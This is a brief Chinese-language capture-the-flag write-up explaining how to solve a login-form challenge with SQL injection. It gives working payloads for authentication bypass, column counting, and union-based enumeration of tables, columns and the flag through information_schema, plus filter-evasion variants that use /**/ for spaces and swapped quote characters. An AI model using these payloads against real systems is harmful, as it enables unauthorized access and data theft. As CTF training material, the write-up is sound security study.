打开题目是一个登录框,一般登录框admin和password为注入点且为post注入。
在admin处输入a‘ or 1=1#(#用来注释掉后面的代码,若被过滤可以使用')、")、--+、-- -、;%00来注释后面的代码),password处随意输入便出现如下回显说明在admin处存在注入点。
、
接着在admin框内输入a’ or 1=1 order by 3#来判断显示列数。在判断列数后就可以使用联合查询(union select)再确定列数后使用联合查询来得到表名
a' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
当空格被过滤后,可以使用/**/来对空格进行替代,其语句如下所示
a'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database();#
得到表名之后就可以查询列名a' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
a'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=’flag’#
过滤单引号可以使用双引号来绕过
/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
得到列名之后就可以得到flag字段了a' or 1=1'union select 1,group_concat(flag),3 from flag#
a'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#